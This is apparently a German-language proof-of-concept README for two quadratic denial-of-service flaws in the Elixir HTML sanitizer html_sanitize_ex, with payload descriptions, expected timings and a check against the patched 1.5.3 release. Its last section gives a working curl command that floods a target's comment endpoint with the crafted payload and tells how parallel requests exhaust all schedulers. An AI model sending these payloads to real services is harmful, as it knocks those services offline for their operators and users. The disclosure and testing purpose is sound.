
PoC, der eine quadratische DoS in Elixir html_sanitize_ex über präpariertes HTML demonstriert; enthält Timing-Benchmarks, Remote-Exploitation per curl und Verifizierung gegen gepatchte Versionen.
Quadratischer Denial-of-Service in html_sanitize_ex < 1.5.3.
Die Bibliothek dient dazu, nicht vertrauenswürdiges HTML zu neutralisieren, doch zwei unabhängige superlineare Codepfade ermöglichen es einer einzigen präparierten Anfrage, einen BEAM-Scheduler für Sekunden zu blockieren. Eine Handvoll paralleler Anfragen sättigt den Scheduler-Pool, und die Anwendung reagiert nicht mehr. Die Auswirkung betrifft ausschließlich die Verfügbarkeit (CVSS 8.2 Hoch).
| CVE | Komponente | Schwachstelle | Auslöser |
|---|---|---|---|
| CVE-2026-68749 | HtmlSanitizeEx.Scrubber.CSS.scrub/1 | CWE-1333 (Regex-Backtracking) | lange <style>-Abfolge von Wortzeichen mit einem nachgestellten : |
| CVE-2026-68750 | HtmlSanitizeEx.Traverser.traverse/2 | CWE-407 (quadratische Traversierung) | flache Abfolge erlaubter Geschwister-Tags (z. B. <b>a</b> × 20.000) |
CVE-2026-68749 ist nur über
html5/1erreichbar (oder über einen benutzerdefinierten Scrubber, der:html5erweitert). CVE-2026-68750 ist über jeden öffentlichen Einstiegspunkt erreichbar, einschließlichbasic_html/1,markdown_html/1undstrip_tags/1.
mix.exs # pins html_sanitize_ex to 1.5.2 (the last vulnerable release)
poc.exs # generates both payloads and times them
Voraussetzungen: Elixir ≥ 1.14 und eine Internetverbindung (um die Hex-Abhängigkeit zu laden).
mix deps.get # fetches html_sanitize_ex 1.5.2
mix run poc.exs # runs both demos and prints timings
Erwartet auf dem verwundbaren 1.5.2-Build — die Angriffszeiten übertreffen die harmlosen bei Weitem. Das Muster sieht wie folgt aus (illustrativ; die absoluten Werte hängen von der Hardware ab, aber die beiden Angriffs-Ankerwerte stammen direkt aus den EEF-CNA-Advisories):
=== html_sanitize_ex 1.5.2 ===
CVE-2026-68749 — CSS scrubber (html5/1), 80000 chars of 'a'
benign (…a!): ~ milliseconds (returns near-instantly)
attack (…a!:): ~ 2.4 seconds (thousands of x slower)
diff is a single ':' character
CVE-2026-68750 — traverser (basic_html/1), <b>a</b> siblings
2,000 siblings: ~ milliseconds
20,000 siblings: ~ 1.7 seconds (10x input -> far more than 10x work)
ratio > 10 reveals super-linear growth
Der Kernpunkt ist das Verhältnis: Der Angriff ist um Größenordnungen langsamer als eine harmlose Eingabe vergleichbarer Größe, und die 10-fache Eingabe kostet weit mehr als die 10-fache Arbeit. Die Werte 2,4 s (80 KB <style>) und 1,7 s (20.000 Geschwister) stammen aus den Upstream-Advisories.
Bearbeite mix.exs und erhöhe die gepinnte Version auf den gepatchten Release:
@vulnerable_version "1.5.3" # or later — 1.5.3 contains both fixes
Danach erneut ausführen:
mix deps.update html_sanitize_ex
mix run poc.exs
Mit 1.5.3 fallen die Zeiten für harmlose und Angriffs-Eingaben in dieselbe Größenordnung, weil der Fix die Regex-Gruppe begrenzt ([-\w]+ → [-\w]{1,64}) und den Traverser auf ein einzelnes Enum.reduce + ein List.flatten/1 umstellt (O(n²) → O(n)).
In einer echten Phoenix-App passieren diese Aufrufe überall dort, wo der Server vom Benutzer gelieferte Rich-Text-Inhalte bereinigt. Der Angreifer schickt den Payload einfach per POST als Feldwert — keine Authentifizierung nötig:
PAYLOAD="<style>$(python3 -c "print('a'*80000,end='')")!:</style>"
curl -s -o /dev/null -w "%{http_code} %{time_total}s\n" \
-X POST https://target.example.com/comments \
--data-urlencode "body=$PAYLOAD"
Acht solcher paralleler Anfragen blockieren auf einem 8-Kern-Host alle acht BEAM-Scheduler.
Nur für Bildungszwecke / autorisierte Tests.